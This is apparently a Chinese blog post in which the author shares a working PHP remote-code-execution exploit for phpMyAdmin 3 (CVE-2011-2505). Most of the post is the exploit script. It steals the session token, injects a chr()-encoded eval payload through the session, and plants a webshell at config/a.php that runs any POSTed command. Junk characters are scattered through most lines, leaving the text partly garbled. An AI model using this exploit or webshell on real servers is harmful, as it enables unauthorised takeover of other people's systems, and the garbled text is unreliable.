最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
! r% Y1 A) N" H! {/ ?4 ]+ X3 A# C
s& ?4 V) n; p昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
/ `9 H8 q& [! Z3 }+ H F3 e' @6 c* i2 ]4 m, J1 x, a; {% K
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
" _ x) ^. Y% F! a一是session.auto_start = 1;" J- z" q1 I/ N/ _- k# `
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
) `, V' I8 G: q8 |' K当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
0 y U( s' E% U( G0 c* l# s" D1 k! z" u$ y& |
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
' l- p6 |% y- O: k+ e* g* T6 v8 s& [" K. ?
于是写了这个php版本的exp,代码如下:1 s; B8 {9 W, g0 I+ ?+ e, M3 B
, P. [" K/ q- h; i9 S#!/usr/bin/php
2 s" {( A, A2 B1 ~" Q' e7 e<?php
7 ]1 h" ?; Q9 U0 Y4 o3 N! rprint_r('
" L0 j' \$ ^1 H+---------------------------------------------------------------------------+
4 X4 i+ n% }" m% q7 jpma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]3 o: r2 o3 C, t3 D0 I" B; A
by oldjun(www.oldjun.com)7 o7 i- O& `3 b" Z9 _% `/ `+ A
welcome to www.t00ls.net5 A: ]0 V; }! _! l5 ~
mail: oldjun@gmail.com
* J6 o, P- q! |0 W2 G0 r$ l- PAssigned CVE id: CVE-2011-2505
" C, x4 R4 H; B$ ^+---------------------------------------------------------------------------+
% C1 s1 h+ e& s1 F8 \$ i, ~4 \3 j');. o6 d& \8 O- U/ Q0 n, m
8 x% c3 [( l% l1 C' Y) ^
/**
7 s0 T8 g# ]( g1 C" l: \ * working when the directory:"config" exists and is writeable.
" Q0 m1 O$ ~0 \6 g**/
/ `* N1 U6 X9 `) K9 X+ X- a
2 Z1 m" @) X& ?if ($argc < 3) {
! |5 j; t8 h* X* Y print_r('
! j% R4 E4 F' i, p+---------------------------------------------------------------------------+
& Q/ ^4 b/ \/ {! pUsage: php '.$argv[0].' host path
4 I& R. J4 M* w3 {6 I. Qhost: target server (ip/hostname)" y6 T( a8 h/ k) Z! J: Q2 I4 E7 p
path: path to pma31 T! T2 ~5 A7 J! K1 d N# }2 j/ S
Example:% D" t8 h+ r" y" J% K4 _' k# g
php '.$argv[0].' localhost /pma/5 L2 H, [8 i% o! n+ @7 T5 J
+---------------------------------------------------------------------------+
4 W2 m: h9 _. [1 \# i');
! o: u( Z! ]1 N @, l exit;; }5 g8 s5 k% z; C g/ s5 q9 x. k
}3 q7 c5 @! Z' K; [, l+ W! F
- V ?* i# C }4 T
$host = $argv[1];6 }. R* h" @ d* h1 l
$path = $argv[2];
! V, @. c+ ]9 \( o. N0 z# G! C# U+ H! M) @. c0 d
/**3 q2 K+ E8 S# B& }6 t3 f
* Try to determine if the directory:"config" exists; M- \; J M2 n& `
**/: f5 O% n) W5 U0 A! j
echo "[+] Try to determine if the directory:config exists....\n";% Y* R/ n! u9 |
$returnstr=php_request('config/');6 j- Z2 I" M# M8 w
if(strpos($returnstr,'404')){
/ l& ~% K& X# e# Q+ s4 r exit("[-] Exploit Failed! The directory:config do not exists!\n");
. l; U3 k# h$ H}- V- }# I* U8 P* M h1 d: R) K/ @
- D" ?/ m: b+ c! X
/**' @% {9 X3 O) `6 D
* Try to get token and sessionid
7 L- w. ^0 J2 H: b# @- C! X- v**/# S0 R5 X) }# A7 \( R2 Z) h, G: r
echo "[+] Try to get token and sessionid....\n";# A h0 {" ~+ G) U/ k* w# M7 T
$result=php_request('index.php');# _& X5 h- _2 m1 f
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
+ o: ^! C1 x6 F$token=$resp[3];- m9 i* W8 {- _/ s: Q
$sessionid=$resp[1];
" H) B# R' z3 h+ lif($token && $sessionid){" z6 T: P) x2 h c, @! W9 V+ `
echo "[+] token token\n";. ^7 Q' B. \2 X7 r0 V9 F. v8 e
echo "[+] Session ID sessionid\n";
- W9 F9 ]" _0 t; q) C M& v& ~}else{( g' ~8 A# X$ }/ ?& y5 F' {- o0 U
exit("[-] Can't get token and Session ID,Exploit Failed!\n");
6 a( ?% R$ l5 v0 M9 Z}1 U" `/ i! f9 D7 z
, b5 x L7 o) \6 L
/**
* i. V2 _4 N1 l1 P * Try to insert shell into session
2 \0 X8 i" W5 J" F( S, c8 x" A**/* b0 s5 N1 C0 f" I: U
echo "[+] Try to insert shell into session....\n";0 L6 k) J t* L7 e/ H
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.: J; v- H+ p0 `7 V
$ M' J' s' m/ G: I0 g/**
+ G+ }/ V) x9 D) z* |8 q8 C * Try to create webshell
~; w% Q! E# k! ]. c% Z**/
6 J0 d2 Q+ [1 e* M+ \echo "[+] Try to create webshell....\n";1 j5 R' T% u9 F" w1 q
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
. b' x5 j x9 G5 v3 E6 d/**
! y. L. ?* B; F: M: m$ Q3 s * Try to check if the webshell was created successfully; h4 z+ A. T1 o
**/1 u. x" i. c( J1 \) D0 v ~& r
echo "[+] Try to check if the webshell was created successfully....\n";
1 i7 |* d. t2 ^' b$content=php_request('config/config.inc.php');/ U+ E; U/ h" C) T# C
if(strpos($content,'t00ls')){; d( u K# q2 X' |9 L. z/ m
echo "[+] Congratulations! Expoilt successfully....\n";/ w: I4 J1 N6 N8 }8 B8 \
echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";* j# W; P" s0 G% r. {0 X
}else{/ o0 ?6 G; B& \% Z: [
exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
0 Q; c& L" W/ d: {}
2 k+ X4 ~& {- d2 ]: V/ a& y& M; h1 V5 L, n. M4 z# v: p, J
function php_request($url,$data='',$cookie=''){
3 u4 e- g/ T3 L2 Z( i# V. P global $host, $path;
& r/ g: |4 i L
) E+ E7 i& \) d9 ?3 a3 F% x $method=$data?'POST':'GET';
4 K, M7 P8 {6 R2 R2 Y6 r. _0 h1 R0 \ ; M0 H$ S6 ?( k! `
$packet = $method." ".$path.$url." HTTP/1.1\r\n";' a- B5 J; i ~5 S
$packet .= "Accept: */*\r\n";
2 U- D" f W0 e) v $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
" ]4 E4 K4 m8 Q$ b/ g: }& N $packet .= "Host: $host\r\n";
6 p' M0 j( L* v) | $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
: I# ^; l, W" z $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";! F0 K- o+ Y$ e2 m8 S/ M
$packet .= $cookie?"Cookie: $cookie\r\n":"";
7 E9 g* P6 @2 j, @4 Q, ~4 j; A $packet .= "Connection: Close\r\n\r\n";
( T( m$ l6 @& t6 f d $packet .= $data?$data:"";& b/ ^- V, J2 [9 ^) U
2 c- X, h" A$ _* }% Z D5 l% f0 U1 ~6 Z- x $fp = fsockopen(gethostbyname($host), 80);$ T+ C b, n& i
if (!$fp) {
" \9 ?! M- }# y2 X) ]* f, F9 q' ~ echo 'No response from '.$host; die;3 t! O6 a8 K. L0 X' O+ C8 ^
}" H; w/ j% w' W" s2 C: k& H
fputs($fp, $packet);
* L- q8 f) s }( M* P9 n1 S; k; D5 R* H( N9 a" T5 R' r
$resp = '';
$ w. K+ n$ V* h: V; Q* c& @1 o1 i* {, W7 a' x
while ($fp && !feof($fp))7 \7 J" W: R& U. V
$resp .= fread($fp, 1024);
6 R# l! g, a5 @) J+ D. y: m, }2 T
- {% r1 s& R# q# V/ Y" N) K return $resp;
4 \" M& F3 _+ i, h# v4 ~+ y. {( i}& @/ r: m7 |- i) l P
( a( ^7 F; }1 J* U?>
4 y- B+ U2 o5 v* I. o7 N' P. |